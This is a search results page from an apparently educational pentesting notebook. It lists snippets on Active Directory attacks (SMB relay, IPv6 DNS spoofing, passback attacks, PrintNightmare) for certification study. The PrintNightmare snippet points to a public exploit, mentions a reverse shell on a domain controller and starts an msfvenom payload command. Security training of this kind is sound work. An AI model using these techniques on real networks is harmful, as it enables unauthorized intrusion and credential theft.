Advanced Search
Search Results
11 total results found
Post Exploitation: Enumeration
Post Exploitation: Attacks
Joining Linux Hosts to Active Directory Domain
Session 10: Jan. 18, 2024
In this lesson, we focus on attacking Active Directory from the perspective of an internal assessment. So, this lesson plan is better suited to those preparing for the PJPT, but can still provide some valuable insights to those preparing for the PNPT as well.
Session 8: Jan. 8, 2024
In this lesson, we focus on attacking Active Directory from an external assessment. So, enumerating an "externally" facing service, establishing a foothold, and pivoting into the network. This lesson is better suited to those preparing for the PNPT certificati...
Kerberos Authentication
SMB Relay
Note: Network Environment This attack works best in a flat network. However, as long as the attacker machine and target(s) are routeable and no firewalls are blocking required ports, it could work across network segments. What is SMB Relay? A man-in-the-mid...
Active Directory
Also, consider taking a look at my Active Directory Attack Map. While it doesn't cover every possible attack avenue, and isn't as sophisticated as some other mindmaps, I think it does a pretty good job of visualizing some of the information found in this book.
Passback Attacks
What's the Flaw? Usually involves an unsecure device -- like a printer or multifunction device -- which is configured with an LDAP or SMTP client and credentials. It could be a web server too -- where there is an LDAP or SMTP client. The credentials are usual...
IPv6 DNS Spoofing
Note: Network Environment This spoofing attack works by sending a router announcement to multicast ff02::1. Therefore, it will only affect domain-joined hosts on the same segment as the attacker machine. What is IPv6 DNS Spoofing? An attacker announces ...
PrintNightmare
Remote Code Execution https://github.com/cube0x0/CVE-2021-1675 Contains full details on scanning and mitigation. Could potentially be used against a domain controller for easy access to a reverse shell. Create Payload msfvenom -p <payload> LHOST=<kali-ip> LPO...